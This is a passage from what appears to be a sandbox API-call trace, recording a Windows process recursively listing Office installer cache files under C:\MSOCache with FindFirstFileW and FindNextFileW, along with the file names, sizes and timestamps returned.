nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0194.765] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0194.765] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0194.766] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.766] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.766] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.766] GetProcessHeap () returned 0x550000 [0194.766] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.766] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0194.767] GetProcessHeap () returned 0x550000 [0194.767] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.149] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.149] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0195.150] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.151] GetProcessHeap () returned 0x550000 [0195.151] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.151] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0195.151] GetProcessHeap () returned 0x550000 [0195.151] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0195.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0195.153] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.154] GetProcessHeap () returned 0x550000 [0195.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.154] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0195.154] GetProcessHeap () returned 0x550000 [0195.154] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0195.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0195.155] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.155] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0195.155] GetProcessHeap () returned 0x550000 [0195.155] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0195.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0195.155] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.155] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0195.155] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0195.155] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0195.155] GetProcessHeap () returned 0x550000 [0195.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0195.155] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0195.155] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0195.157] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0195.157] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0195.157] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0195.157] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0195.157] GetProcessHeap () returned 0x550000 [0195.157] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0195.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, 